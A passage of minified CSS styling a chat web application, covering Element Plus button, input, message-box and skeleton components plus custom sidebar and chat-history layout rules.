or:var(--el-color-warning-light-3);--el-button-active-bg-color:var(--el-color-warning-dark-2);--el-button-active-border-color:var(--el-color-warning-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-warning-light-5);--el-button-disabled-border-color:var(--el-color-warning-light-5)}.el-button--warning.is-link,.el-button--warning.is-plain,.el-button--warning.is-text{--el-button-text-color:var(--el-color-warning);--el-button-bg-color:var(--el-color-warning-light-9);--el-button-border-color:var(--el-color-warning-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-warning);--el-button-hover-border-color:var(--el-color-warning);--el-button-active-text-color:var(--el-color-white)}.el-button--warning.is-link.is-disabled,.el-button--warning.is-link.is-disabled:active,.el-button--warning.is-link.is-disabled:focus,.el-button--warning.is-link.is-disabled:hover,.el-button--warning.is-plain.is-disabled,.el-button--warning.is-plain.is-disabled:active,.el-button--warning.is-plain.is-disabled:focus,.el-button--warning.is-plain.is-disabled:hover,.el-button--warning.is-text.is-disabled,.el-button--warning.is-text.is-disabled:active,.el-button--warning.is-text.is-disabled:focus,.el-button--warning.is-text.is-disabled:hover{color:var(--el-color-warning-light-5);background-color:var(--el-color-warning-light-9);border-color:var(--el-color-warning-light-8)}.el-button--danger{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-danger);--el-button-border-color:var(--el-color-danger);--el-button-outline-color:var(--el-color-danger-light-5);--el-button-active-color:var(--el-color-danger-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-danger-light-5);--el-button-hover-bg-color:var(--el-color-danger-light-3);--el-button-hover-border-color:var(--el-color-danger-light-3);--el-button-active-bg-color:var(--el-color-danger-dark-2);--el-button-active-border-color:var(--el-color-danger-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-danger-light-5);--el-button-disabled-border-color:var(--el-color-danger-light-5)}.el-button--danger.is-link,.el-button--danger.is-plain,.el-button--danger.is-text{--el-button-text-color:var(--el-color-danger);--el-button-bg-color:var(--el-color-danger-light-9);--el-button-border-color:var(--el-color-danger-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-danger);--el-button-hover-border-color:var(--el-color-danger);--el-button-active-text-color:var(--el-color-white)}.el-button--danger.is-link.is-disabled,.el-button--danger.is-link.is-disabled:active,.el-button--danger.is-link.is-disabled:focus,.el-button--danger.is-link.is-disabled:hover,.el-button--danger.is-plain.is-disabled,.el-button--danger.is-plain.is-disabled:active,.el-button--danger.is-plain.is-disabled:focus,.el-button--danger.is-plain.is-disabled:hover,.el-button--danger.is-text.is-disabled,.el-button--danger.is-text.is-disabled:active,.el-button--danger.is-text.is-disabled:focus,.el-button--danger.is-text.is-disabled:hover{color:var(--el-color-danger-light-5);background-color:var(--el-color-danger-light-9);border-color:var(--el-color-danger-light-8)}.el-button--info{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-info);--el-button-border-color:var(--el-color-info);--el-button-outline-color:var(--el-color-info-light-5);--el-button-active-color:var(--el-color-info-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-info-light-5);--el-button-hover-bg-color:var(--el-color-info-light-3);--el-button-hover-border-color:var(--el-color-info-light-3);--el-button-active-bg-color:var(--el-color-info-dark-2);--el-button-active-border-color:var(--el-color-info-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-info-light-5);--el-button-disabled-border-color:var(--el-color-info-light-5)}.el-button--info.is-link,.el-button--info.is-plain,.el-button--info.is-text{--el-button-text-color:var(--el-color-info);--el-button-bg-color:var(--el-color-info-light-9);--el-button-border-color:var(--el-color-info-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-info);--el-button-hover-border-color:var(--el-color-info);--el-button-active-text-color:var(--el-color-white)}.el-button--info.is-link.is-disabled,.el-button--info.is-link.is-disabled:active,.el-button--info.is-link.is-disabled:focus,.el-button--info.is-link.is-disabled:hover,.el-button--info.is-plain.is-disabled,.el-button--info.is-plain.is-disabled:active,.el-button--info.is-plain.is-disabled:focus,.el-button--info.is-plain.is-disabled:hover,.el-button--info.is-text.is-disabled,.el-button--info.is-text.is-disabled:active,.el-button--info.is-text.is-disabled:focus,.el-button--info.is-text.is-disabled:hover{color:var(--el-color-info-light-5);background-color:var(--el-color-info-light-9);border-color:var(--el-color-info-light-8)}.el-button--large{--el-button-size:40px;height:var(--el-button-size);padding:12px 19px;font-size:var(--el-font-size-base);border-radius:var(--el-border-radius-base)}.el-button--large [class*=el-icon]+span{margin-left:8px}.el-button--large.is-round{padding:12px 19px}.el-button--large.is-circle{width:var(--el-button-size);padding:12px}.el-button--small{--el-button-size:24px;height:var(--el-button-size);padding:5px 11px;font-size:12px;border-radius:calc(var(--el-border-radius-base) - 1px)}.el-button--small [class*=el-icon]+span{margin-left:4px}.el-button--small.is-round{padding:5px 11px}.el-button--small.is-circle{width:var(--el-button-size);padding:5px}.chat-roles-list{display:flex;flex-wrap:wrap;gap:16px;row-gap:16px;overflow-y:auto}.chat-roles-list .chat-role-item{width:256px;height:76px;padding:8px 16px;border:1px solid var(--color-border);border-radius:8px;font-size:14px;color:var(--color-text-primary)}.chat-roles-list .chat-role-item img{display:inline-block;width:18px;height:18px;margin-right:4px;vertical-align:middle}.chat-roles-list .chat-role-item .name{height:20px;font-size:14px;font-family:PingFangSC-Medium,PingFang SC;font-weight:500;color:#222226;line-height:20px;vertical-align:middle}.chat-roles-list .desc{margin-top:8px;font-size:12px;font-family:PingFangSC-Regular,PingFang SC;font-weight:400;color:#999aaa;line-height:16px}.player.is-fold[data-v-29bfd76b]{padding:0 24px}.player.is-fold .chat-player[data-v-29bfd76b]{height:32px;padding:0;justify-content:center}.chat-player[data-v-29bfd76b]{height:38px;display:flex;align-items:center;border-radius:8px;border:1px solid #d8f;background:linear-gradient(92deg,#dd88ff1a .32%,#6d5ffd1a);padding:0 12px;cursor:pointer}.chat-player .player-text[data-v-29bfd76b]{margin-left:8px}@media screen and (min-width: 769px){.scroll-bar-style:hover::-webkit-scrollbar-thumb,.chat-aside .aside-right .aside-main:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style::-webkit-scrollbar,.chat-aside .aside-right .aside-main::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style::-webkit-scrollbar-thumb,.chat-aside .aside-right .aside-main::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style::-webkit-scrollbar-track,.chat-aside .aside-right .aside-main::-webkit-scrollbar-track{border-radius:10px;background:#0000}}@keyframes breathe{0%{opacity:0}50%{opacity:1}to{opacity:0}}.add-simple{padding:4px;border-radius:20px;margin:auto 8px;display:none}.add-wrap{width:192px;padding:4px;border-radius:20px;margin:26px auto 12px;z-index:1}.new-chat-btn{color:#fff;cursor:pointer;background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%);width:130px;height:29px;box-sizing:border-box;border-radius:8px;position:relative;transition:width .3s;transform-origin:left;overflow:hidden;display:flex;justify-content:center;align-items:center}.new-chat-btn:hover .add{font-weight:600}.new-chat-btn .add{font-size:14px;display:flex;justify-content:center;align-items:center;border-radius:20px}.new-chat-btn .add svg{margin-right:8px}.chat-aside{position:relative;display:flex;transition:width .3s linear;padding:12px 0 25px 12px}.chat-aside .aside-left{display:flex;flex-direction:column;height:100%;width:65px;border-right:1px solid rgba(0,0,0,.05);background:#fff;border-radius:12px 0 0 12px;position:relative}.chat-aside .aside-left .logo-aside{padding:24px 12px 0;text-align:center}.chat-aside .aside-left .logo-aside svg{vertical-align:middle}.chat-aside .aside-left .vip-button{display:flex;flex-direction:column;justify-content:center;align-items:center;row-gap:8px;margin-bottom:27px;cursor:pointer}.chat-aside .aside-left .vip-button img{width:24px}.chat-aside .aside-left .vip-button span{font-size:12px;color:var(--color-text-primary)}.chat-aside .aside-left .aside-items{flex:1;padding:0 4px}.chat-aside .aside-left .aside-items .aside-chat-item{margin:8px 0 24px;text-align:center;height:52px;width:56px;border-radius:12px;padding:4px;font-size:12px;line-height:16px;color:var(--color-text-desc);box-sizing:border-box;font-weight:500;cursor:pointer}.chat-aside .aside-left .aside-items .aside-chat-item .chat-icon-text{white-space:nowrap}.chat-aside .aside-left .aside-items .aside-chat-item svg{color:var(--color-text-desc)}.chat-aside .aside-left .aside-items .aside-chat-item.active{background-color:#fff;color:var(--color-text-active);background:#f3f0fe}.chat-aside .aside-left .aside-items .aside-chat-item.active svg{color:var(--color-text-active)}.chat-aside .aside-right{width:164px;position:relative;display:flex;flex-direction:column;box-sizing:border-box}.chat-aside .aside-right:after{position:absolute;content:"";width:1px;height:100%;background:#0000000d;top:0;right:0}.chat-aside .aside-right .aside-top{background:#fff}.chat-aside .aside-right .aside-main{flex:1;overflow-y:auto;padding:0 8px;background:#fff}.chat-aside .aside-right .aside-bottom{padding:0 12px 24px}.chat-aside .fold-icon{opacity:0;position:absolute;top:50%;transform:translateY(-50%);left:0;width:14px;height:110px;z-index:2;pointer-events:none;cursor:pointer}.chat-aside .fold-icon .icon-fold-open,.chat-aside .fold-icon .icon-fold-close{width:100%;height:100%}#chat-pro .fold .aside-right{display:none}#chat-pro .fold .add-simple{display:block;width:48px}.simple-dialog{font-size:14px;overflow:hidden}.simple-dialog .el-dialog__header{background-color:#fff}.simple-dialog.bold .el-dialog__header{font-weight:500}.simple-dialog .el-dialog__header{padding:24px 24px 0;margin-right:0}.simple-dialog .el-dialog__body{padding:16px 24px}.simple-dialog .el-dialog__footer{padding:0 24px 24px}:root{--el-popup-modal-bg-color:var(--el-color-black);--el-popup-modal-opacity:.5}.v-modal-enter{-webkit-animation:v-modal-in var(--el-transition-duration-fast) ease;animation:v-modal-in var(--el-transition-duration-fast) ease}.v-modal-leave{-webkit-animation:v-modal-out var(--el-transition-duration-fast) ease forwards;animation:v-modal-out var(--el-transition-duration-fast) ease forwards}@-webkit-keyframes v-modal-in{0%{opacity:0}}@keyframes v-modal-in{0%{opacity:0}}@-webkit-keyframes v-modal-out{to{opacity:0}}@keyframes v-modal-out{to{opacity:0}}.v-modal{position:fixed;left:0;top:0;width:100%;height:100%;opacity:var(--el-popup-modal-opacity);background:var(--el-popup-modal-bg-color)}.el-popup-parent--hidden{overflow:hidden}.el-message-box{--el-messagebox-title-color:var(--el-text-color-primary);--el-messagebox-width:420px;--el-messagebox-border-radius:4px;--el-messagebox-font-size:var(--el-font-size-large);--el-messagebox-content-font-size:var(--el-font-size-base);--el-messagebox-content-color:var(--el-text-color-regular);--el-messagebox-error-font-size:12px;--el-messagebox-padding-primary:15px}.el-message-box{display:inline-block;max-width:var(--el-messagebox-width);width:100%;padding-bottom:10px;vertical-align:middle;background-color:var(--el-bg-color);border-radius:var(--el-messagebox-border-radius);border:1px solid var(--el-border-color-lighter);font-size:var(--el-messagebox-font-size);box-shadow:var(--el-box-shadow-light);text-align:left;overflow:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden;box-sizing:border-box}.el-message-box:focus{outline:0!important}.el-overlay.is-message-box .el-overlay-message-box{text-align:center;position:fixed;top:0;right:0;bottom:0;left:0;padding:16px;overflow:auto}.el-overlay.is-message-box .el-overlay-message-box:after{content:"";display:inline-block;height:100%;width:0;vertical-align:middle}.el-message-box.is-draggable .el-message-box__header{cursor:move;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-message-box__header{position:relative;padding:var(--el-messagebox-padding-primary);padding-bottom:10px}.el-message-box__title{padding-left:0;margin-bottom:0;font-size:var(--el-messagebox-font-size);line-height:1;color:var(--el-messagebox-title-color)}.el-message-box__headerbtn{position:absolute;top:var(--el-messagebox-padding-primary);right:var(--el-messagebox-padding-primary);padding:0;border:none;outline:0;background:0 0;font-size:var(--el-message-close-size,16px);cursor:pointer}.el-message-box__headerbtn .el-message-box__close{color:var(--el-color-info);font-size:inherit}.el-message-box__headerbtn:focus .el-message-box__close,.el-message-box__headerbtn:hover .el-message-box__close{color:var(--el-color-primary)}.el-message-box__content{padding:10px var(--el-messagebox-padding-primary);color:var(--el-messagebox-content-color);font-size:var(--el-messagebox-content-font-size)}.el-message-box__container{position:relative}.el-message-box__input{padding-top:15px}.el-message-box__input div.invalid>input{border-color:var(--el-color-error)}.el-message-box__input div.invalid>input:focus{border-color:var(--el-color-error)}.el-message-box__status{position:absolute;top:50%;transform:translateY(-50%);font-size:24px!important}.el-message-box__status:before{padding-left:1px}.el-message-box__status.el-icon{position:absolute}.el-message-box__status+.el-message-box__message{padding-left:36px;padding-right:12px;word-break:break-word}.el-message-box__status.el-message-box-icon--success{--el-messagebox-color:var(--el-color-success);color:var(--el-messagebox-color)}.el-message-box__status.el-message-box-icon--info{--el-messagebox-color:var(--el-color-info);color:var(--el-messagebox-color)}.el-message-box__status.el-message-box-icon--warning{--el-messagebox-color:var(--el-color-warning);color:var(--el-messagebox-color)}.el-message-box__status.el-message-box-icon--error{--el-messagebox-color:var(--el-color-error);color:var(--el-messagebox-color)}.el-message-box__message{margin:0}.el-message-box__message p{margin:0;line-height:24px}.el-message-box__errormsg{color:var(--el-color-error);font-size:var(--el-messagebox-error-font-size);min-height:18px;margin-top:2px}.el-message-box__btns{padding:5px 15px 0;display:flex;flex-wrap:wrap;justify-content:flex-end;align-items:center}.el-message-box__btns button:nth-child(2){margin-left:10px}.el-message-box__btns-reverse{flex-direction:row-reverse}.el-message-box--center .el-message-box__title{position:relative;display:flex;align-items:center;justify-content:center}.el-message-box--center .el-message-box__status{position:relative;top:auto;padding-right:5px;text-align:center;transform:translateY(-1px)}.el-message-box--center .el-message-box__message{margin-left:0}.el-message-box--center .el-message-box__btns{justify-content:center}.el-message-box--center .el-message-box__content{padding-left:calc(var(--el-messagebox-padding-primary) + 12px);padding-right:calc(var(--el-messagebox-padding-primary) + 12px);text-align:center}.fade-in-linear-enter-active .el-overlay-message-box{-webkit-animation:msgbox-fade-in var(--el-transition-duration);animation:msgbox-fade-in var(--el-transition-duration)}.fade-in-linear-leave-active .el-overlay-message-box{animation:msgbox-fade-in var(--el-transition-duration) reverse}@-webkit-keyframes msgbox-fade-in{0%{transform:translate3d(0,-20px,0);opacity:0}to{transform:translateZ(0);opacity:1}}@keyframes msgbox-fade-in{0%{transform:translate3d(0,-20px,0);opacity:0}to{transform:translateZ(0);opacity:1}}.el-textarea{--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%}.el-textarea{position:relative;display:inline-block;width:100%;vertical-align:bottom;font-size:var(--el-font-size-base)}.el-textarea__inner{position:relative;display:block;resize:vertical;padding:5px 11px;line-height:1.5;box-sizing:border-box;width:100%;font-size:inherit;font-family:inherit;color:var(--el-input-text-color,var(--el-text-color-regular));background-color:var(--el-input-bg-color,var(--el-fill-color-blank));background-image:none;-webkit-appearance:none;box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset;border-radius:var(--el-input-border-radius,var(--el-border-radius-base));transition:var(--el-transition-box-shadow);border:none}.el-textarea__inner::-moz-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner:-ms-input-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner::placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-textarea__inner:focus{outline:0;box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-textarea .el-input__count{color:var(--el-color-info);background:var(--el-fill-color-blank);position:absolute;font-size:12px;line-height:14px;bottom:5px;right:10px}.el-textarea.is-disabled .el-textarea__inner{box-shadow:0 0 0 1px var(--el-disabled-border-color) inset;background-color:var(--el-disabled-bg-color);color:var(--el-disabled-text-color);cursor:not-allowed}.el-textarea.is-disabled .el-textarea__inner::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-disabled .el-textarea__inner::placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-exceed .el-textarea__inner{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-textarea.is-exceed .el-input__count{color:var(--el-color-danger)}.el-input{--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%}.el-input{--el-input-height:var(--el-component-size);position:relative;font-size:var(--el-font-size-base);display:inline-flex;width:var(--el-input-width);line-height:var(--el-input-height);box-sizing:border-box;vertical-align:middle}.el-input::-webkit-scrollbar{z-index:11;width:6px}.el-input::-webkit-scrollbar:horizontal{height:6px}.el-input::-webkit-scrollbar-thumb{border-radius:5px;width:6px;background:var(--el-text-color-disabled)}.el-input::-webkit-scrollbar-corner{background:var(--el-fill-color-blank)}.el-input::-webkit-scrollbar-track{background:var(--el-fill-color-blank)}.el-input::-webkit-scrollbar-track-piece{background:var(--el-fill-color-blank);width:6px}.el-input .el-input__clear,.el-input .el-input__password{color:var(--el-input-icon-color);font-size:14px;cursor:pointer}.el-input .el-input__clear:hover,.el-input .el-input__password:hover{color:var(--el-input-clear-hover-color)}.el-input .el-input__count{height:100%;display:inline-flex;align-items:center;color:var(--el-color-info);font-size:12px}.el-input .el-input__count .el-input__count-inner{background:var(--el-fill-color-blank);line-height:initial;display:inline-block;padding-left:8px}.el-input__wrapper{display:inline-flex;flex-grow:1;align-items:center;justify-content:center;padding:1px 11px;background-color:var(--el-input-bg-color,var(--el-fill-color-blank));background-image:none;border-radius:var(--el-input-border-radius,var(--el-border-radius-base));cursor:text;transition:var(--el-transition-box-shadow);transform:translateZ(0);box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset}.el-input__wrapper:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-input__wrapper.is-focus{box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 32px) - 2px);width:100%;flex-grow:1;-webkit-appearance:none;color:var(--el-input-text-color,var(--el-text-color-regular));font-size:inherit;height:var(--el-input-inner-height);line-height:var(--el-input-inner-height);padding:0;outline:0;border:none;background:0 0;box-sizing:border-box}.el-input__inner:focus{outline:0}.el-input__inner::-moz-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner:-ms-input-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner::placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner[type=password]::-ms-reveal{display:none}.el-input__prefix{display:inline-flex;white-space:nowrap;flex-shrink:0;flex-wrap:nowrap;height:100%;text-align:center;color:var(--el-input-icon-color,var(--el-text-color-placeholder));transition:all var(--el-transition-duration);pointer-events:none}.el-input__prefix-inner{pointer-events:all;display:inline-flex;align-items:center;justify-content:center}.el-input__prefix-inner>:last-child{margin-right:8px}.el-input__prefix-inner>:first-child,.el-input__prefix-inner>:first-child.el-input__icon{margin-left:0}.el-input__suffix{display:inline-flex;white-space:nowrap;flex-shrink:0;flex-wrap:nowrap;height:100%;text-align:center;color:var(--el-input-icon-color,var(--el-text-color-placeholder));transition:all var(--el-transition-duration);pointer-events:none}.el-input__suffix-inner{pointer-events:all;display:inline-flex;align-items:center;justify-content:center}.el-input__suffix-inner>:first-child{margin-left:8px}.el-input .el-input__icon{height:inherit;line-height:inherit;display:flex;justify-content:center;align-items:center;transition:all var(--el-transition-duration);margin-left:8px}.el-input__validateIcon{pointer-events:none}.el-input.is-active .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-focus-color,) inset}.el-input.is-disabled{cursor:not-allowed}.el-input.is-disabled .el-input__wrapper{background-color:var(--el-disabled-bg-color);box-shadow:0 0 0 1px var(--el-disabled-border-color) inset}.el-input.is-disabled .el-input__inner{color:var(--el-disabled-text-color);-webkit-text-fill-color:var(--el-disabled-text-color);cursor:not-allowed}.el-input.is-disabled .el-input__inner::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__inner:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__inner::placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__icon{cursor:not-allowed}.el-input.is-exceed .el-input__wrapper{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-input.is-exceed .el-input__suffix .el-input__count{color:var(--el-color-danger)}.el-input--large{--el-input-height:var(--el-component-size-large);font-size:14px}.el-input--large .el-input__wrapper{padding:1px 15px}.el-input--large .el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 40px) - 2px)}.el-input--small{--el-input-height:var(--el-component-size-small);font-size:12px}.el-input--small .el-input__wrapper{padding:1px 7px}.el-input--small .el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 24px) - 2px)}.el-input-group{display:inline-flex;width:100%;align-items:stretch}.el-input-group__append,.el-input-group__prepend{background-color:var(--el-fill-color-light);color:var(--el-color-info);position:relative;display:inline-flex;align-items:center;justify-content:center;min-height:100%;border-radius:var(--el-input-border-radius);padding:0 20px;white-space:nowrap}.el-input-group__append:focus,.el-input-group__prepend:focus{outline:0}.el-input-group__append .el-button,.el-input-group__append .el-select,.el-input-group__prepend .el-button,.el-input-group__prepend .el-select{display:inline-block;margin:0 -20px}.el-input-group__append button.el-button,.el-input-group__append button.el-button:hover,.el-input-group__append div.el-select .el-input__wrapper,.el-input-group__append div.el-select:hover .el-input__wrapper,.el-input-group__prepend button.el-button,.el-input-group__prepend button.el-button:hover,.el-input-group__prepend div.el-select .el-input__wrapper,.el-input-group__prepend div.el-select:hover .el-input__wrapper{border-color:transparent;background-color:transparent;color:inherit}.el-input-group__append .el-button,.el-input-group__append .el-input,.el-input-group__prepend .el-button,.el-input-group__prepend .el-input{font-size:inherit}.el-input-group__prepend{border-right:0;border-top-right-radius:0;border-bottom-right-radius:0;box-shadow:1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}.el-input-group__append{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,-1px 0 0 0 var(--el-input-border-color) inset}.el-input-group--prepend>.el-input__wrapper{border-top-left-radius:0;border-bottom-left-radius:0}.el-input-group--prepend .el-input-group__prepend .el-select .el-input .el-input__inner{box-shadow:none!important}.el-input-group--prepend .el-input-group__prepend .el-select .el-input .el-input__wrapper{border-top-right-radius:0;border-bottom-right-radius:0;box-shadow:1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}.el-input-group--prepend .el-input-group__prepend .el-select .el-input.is-focus .el-input__inner{box-shadow:none!important}.el-input-group--prepend .el-input-group__prepend .el-select .el-input.is-focus .el-input__wrapper{box-shadow:1px 0 0 0 var(--el-input-focus-border-color) inset,1px 0 0 0 var(--el-input-focus-border-color),0 1px 0 0 var(--el-input-focus-border-color) inset,0 -1px 0 0 var(--el-input-focus-border-color) inset!important;z-index:2}.el-input-group--prepend .el-input-group__prepend .el-select .el-input.is-focus .el-input__wrapper:focus{outline:0;z-index:2;box-shadow:1px 0 0 0 var(--el-input-focus-border-color) inset,1px 0 0 0 var(--el-input-focus-border-color),0 1px 0 0 var(--el-input-focus-border-color) inset,0 -1px 0 0 var(--el-input-focus-border-color) inset!important}.el-input-group--prepend .el-input-group__prepend .el-select:hover .el-input__inner{box-shadow:none!important}.el-input-group--prepend .el-input-group__prepend .el-select:hover .el-input__wrapper{z-index:1;box-shadow:1px 0 0 0 var(--el-input-hover-border-color) inset,1px 0 0 0 var(--el-input-hover-border-color),0 1px 0 0 var(--el-input-hover-border-color) inset,0 -1px 0 0 var(--el-input-hover-border-color) inset!important}.el-input-group--append>.el-input__wrapper{border-top-right-radius:0;border-bottom-right-radius:0}.el-input-group--append .el-input-group__append .el-select .el-input .el-input__inner{box-shadow:none!important}.el-input-group--append .el-input-group__append .el-select .el-input .el-input__wrapper{border-top-left-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,-1px 0 0 0 var(--el-input-border-color) inset}.el-input-group--append .el-input-group__append .el-select .el-input.is-focus .el-input__inner{box-shadow:none!important}.el-input-group--append .el-input-group__append .el-select .el-input.is-focus .el-input__wrapper{z-index:2;box-shadow:-1px 0 0 0 var(--el-input-focus-border-color),-1px 0 0 0 var(--el-input-focus-border-color) inset,0 1px 0 0 var(--el-input-focus-border-color) inset,0 -1px 0 0 var(--el-input-focus-border-color) inset!important}.el-input-group--append .el-input-group__append .el-select:hover .el-input__inner{box-shadow:none!important}.el-input-group--append .el-input-group__append .el-select:hover .el-input__wrapper{z-index:1;box-shadow:-1px 0 0 0 var(--el-input-hover-border-color),-1px 0 0 0 var(--el-input-hover-border-color) inset,0 1px 0 0 var(--el-input-hover-border-color) inset,0 -1px 0 0 var(--el-input-hover-border-color) inset!important}.el-skeleton{--el-skeleton-color:var(--el-fill-color);--el-skeleton-to-color:var(--el-fill-color-darker)}@-webkit-keyframes el-skeleton-loading{0%{background-position:100% 50%}to{background-position:0 50%}}@keyframes el-skeleton-loading{0%{background-position:100% 50%}to{background-position:0 50%}}.el-skeleton{width:100%}.el-skeleton__first-line,.el-skeleton__paragraph{height:16px;margin-top:16px;background:var(--el-skeleton-color)}.el-skeleton.is-animated .el-skeleton__item{background:linear-gradient(90deg,var(--el-skeleton-color) 25%,var(--el-skeleton-to-color) 37%,var(--el-skeleton-color) 63%);background-size:400% 100%;-webkit-animation:el-skeleton-loading 1.4s ease infinite;animation:el-skeleton-loading 1.4s ease infinite}.el-skeleton{--el-skeleton-circle-size:var(--el-avatar-size)}.el-skeleton__item{background:var(--el-skeleton-color);display:inline-block;height:16px;border-radius:var(--el-border-radius-base);width:100%}.el-skeleton__circle{border-radius:50%;width:var(--el-skeleton-circle-size);height:var(--el-skeleton-circle-size);line-height:var(--el-skeleton-circle-size)}.el-skeleton__button{height:40px;width:64px;border-radius:4px}.el-skeleton__p{width:100%}.el-skeleton__p.is-last{width:61%}.el-skeleton__p.is-first{width:33%}.el-skeleton__text{width:100%;height:var(--el-font-size-small)}.el-skeleton__caption{height:var(--el-font-size-extra-small)}.el-skeleton__h1{height:var(--el-font-size-extra-large)}.el-skeleton__h3{height:var(--el-font-size-large)}.el-skeleton__h5{height:var(--el-font-size-medium)}.el-skeleton__image{width:unset;display:flex;align-items:center;justify-content:center;border-radius:0}.el-skeleton__image svg{color:var(--el-svg-monochrome-grey);fill:currentColor;width:22%;height:22%}.ske-item[data-v-cbf91674]{width:100%;margin-bottom:16px}.chat-history[data-v-cbf91674]{position:relative;height:100%}.chat-history .chat-no-data[data-v-cbf91674]{height:calc(100% - 120px);flex-direction:column;display:flex;justify-content:center;align-items:center}.chat-history .chat-history-list[data-v-cbf91674]{position:relative}.chat-history .his-item-wrap[data-v-cbf91674]{min-width:0;width:100%;padding:4px 6px}.chat-history .his-item-wrap .his-item-title[data-v-cbf91674]{display:flex;align-items:center}.chat-history .his-item-wrap .his-item-title .c-icon[data-v-cbf91674]{margin-right:4px}.chat-history .chat-history-item[data-v-cbf91674],.chat-history .chat-history-clear[data-v-cbf91674]{color:var(--color-text-desc);position:relative;opacity:1;display:flex;align-items:center;cursor:pointer;transition:opacity .3s}.chat-history .chat-history-item i[data-v-cbf91674],.chat-history .chat-history-clear i[data-v-cbf91674]{margin-right:10px}.chat-history .chat-history-item[data-v-cbf91674]{color:var(--color-text-primary);font-size:14px;border-radius:8px;margin-bottom:4px;box-sizing:border-box;border:1px solid transparent}.chat-history .chat-history-item[data-v-cbf91674]:hover{background:#fff;box-shadow:0 2px 4px #0000000a;color:var(--color-text-active);border:1px solid #f3f0fe}.chat-history .chat-history-item:hover .chat-history-message[data-v-cbf91674]{font-weight:600}.chat-history .chat-history-item:hover .his-action[data-v-cbf91674]{opacity:1}.chat-history .chat-history-item.selected[data-v-cbf91674]{background:#fff;box-shadow:0 2px 4px #0000000a;border:1px solid #f3f0fe;color:var(--color-text-active)}.chat-history .chat-history-item.selected .chat-history-message[data-v-cbf91674]{font-weight:600}.chat-history .chat-history-item img[data-v-cbf91674]{width:18px;height:18px;margin-right:8px}.chat-history .chat-history-item:hover .icon-delete[data-v-cbf91674]{opacity:1}.chat-history .chat-history-item 